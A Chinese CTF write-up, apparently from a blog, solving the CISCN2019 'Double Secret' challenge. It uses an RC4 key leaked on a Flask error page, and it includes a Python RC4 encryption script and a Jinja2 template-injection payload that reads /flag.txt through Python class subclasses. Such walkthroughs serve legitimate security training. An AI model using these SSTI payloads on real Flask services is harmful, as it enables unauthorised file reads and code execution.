首页 > 其他分享 >[CISCN2019 华东南赛区]Double Secret 1

[CISCN2019 华东南赛区]Double Secret 1

时间:2024-07-13 10:52:20浏览次数:17  
标签:box 加密 C3% Double Secret key C2% CISCN2019 256

信息收集,加密


打开之后只有这一段话,尝试搜索页面,最后找到了/secret

让我们传入数值他会给我们加密

随便传入一个发现是有加密的,之后我们可以随便输入点东西看看有没有报错页面

很亮眼

这里其实就是对我们输入参数的一个判断,首先判断你是不是为空,如果是空的参数,则返回一段话,就是我们刚进页面看到的内容,如果你传入了参数,那么它就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是“HereIsTreasure”,而且通过报错,我们了解到这是flask的模板,而且python的版本是2.7的,那么我们可以利用flask的模板注入,执行命令,只不过需要进行RC4加密。RC4加密脚本:

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

标签:box,加密,C3%,Double,Secret,key,C2%,CISCN2019,256
From: https://www.cnblogs.com/z2gh/p/18299775

相关文章

  • 【C#】MouseDown与MouseDoubleClick事件,如果此时双击,那么这俩事件的是否都响应?如果都
    问题描述MouseDown与MouseDoubleClick事件,如果此时双击,那么这俩事件的是否都响应?如果都响应,那么应该先执行那个方法?问题响应在WindowsForms或WPF等基于事件的GUI框架中,MouseDown和MouseDoubleClick是两个不同的鼠标事件。当双击鼠标时,这两个事件都可能被触发,但是它们的......
  • [CISCN2019 华北赛区 Day1 Web2]ikun
    进入题目发现找到lv6查看源码发现用lv标志点击下一页发现url参数page写脚本importrequestsforiinrange(500):url="http://248e4e18-a7a1-4bb1-adc1-e3a177974773.node4.buuoj.cn:81/shop?page={}".format(i)reponse=requests.get(url)if"lv6.png"inreponse.tex......
  • [CISCN2019 华北赛区 Day1 Web1]Dropbox
    进入题目注册一个账号登录进去后上传一个文件发现只能上传图片下载删除时分别抓包发现在download.php里下载,在delete.php处删除发现filename参数,有任意文件下载漏洞下载download.php,delete.php目录遍历在delete.php里发现class.phpdb=$db;}publi......
  • [CISCN2019 华北赛区 Day1 Web5]CyberPunk
    进入题目点击左下角发现不同文件查看index.php检查发现file参数猜测文件包含用php为协议读取源码require_once"config.php";if(!empty($_POST["user_name"])&&!empty($_POST["phone"])){$msg='';$pattern='/select|insert......
  • [CISCN2019 华北赛区 Day2 Web1]Hack World
    进入题目输入数字1数字20对select空格unionor等等测试发现没有过滤select空格也被过滤注意不能单独测试用亦或运算1^0为真尝试0^if((ascii(substr((select(flag)from(flag)),1,1))=100),0,1)回显正常根据回显判断正误编写脚本爆破,由于该网站请求太快会报429......
  • [CISCN2019 华东南赛区]Web4
    进入题目发现一个超链接、右键检查发现/read?url路径猜测后端语言不是php是python点击超链接跳转到百度猜测存在ssrf漏洞访问/etc/passwd成功尝试访问/app/app.py源码成功encoding:utf-8importre,random,uuid,urllibfromflaskimportFlask,session,requesta......
  • [CISCN2019 总决赛 Day2 Web1]Easyweb
    进入题目查看源码发现id参数可用sql注入脚本目录扫描发现robots.txt尝试fuzz爆破参数发现image.php.bak可用<?phpinclude"config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";$path=isset($_GET["path"])?$_GET["path"]:"&......
  • [CISCN2019 华东南赛区]Web11
    进入题目注意到xff在url处随意输入目录·xff随之变化注意下放smarty是php模板猜测xff为模板注入点如下用if标签看到回显得到flagflag{6efda977-94fb-4d30-8668-fe28458ec2bf}......
  • [CISCN2019 华东南赛区]Double Secret
    进入题目由于请求不能过快,目录扫描工具失效可写脚本,根据题目两个secret,猜测有serect目录访问猜测还有一个secret参数随意输入发现源码泄露注意到有flask,考虑python模板注入注意到发现rc4加密找师傅的加密脚本importbase64fromurllib.parseimportquotedef......
  • 字节面试 用double,1.0-0.9的结果不是0.1,为什么?
    让我详细解释一下为什么1.0-0.9在二进制中不能精确表示。1.0的二进制表示1.0在二进制中可以精确表示。它的二进制表示为:1.0=1.0(二进制)0.9的二进制表示0.9是一个无法在二进制中精确表示的小数。二进制小数是通过求和1/2,1/4,1/8,1/16,...等幂次表示的。对......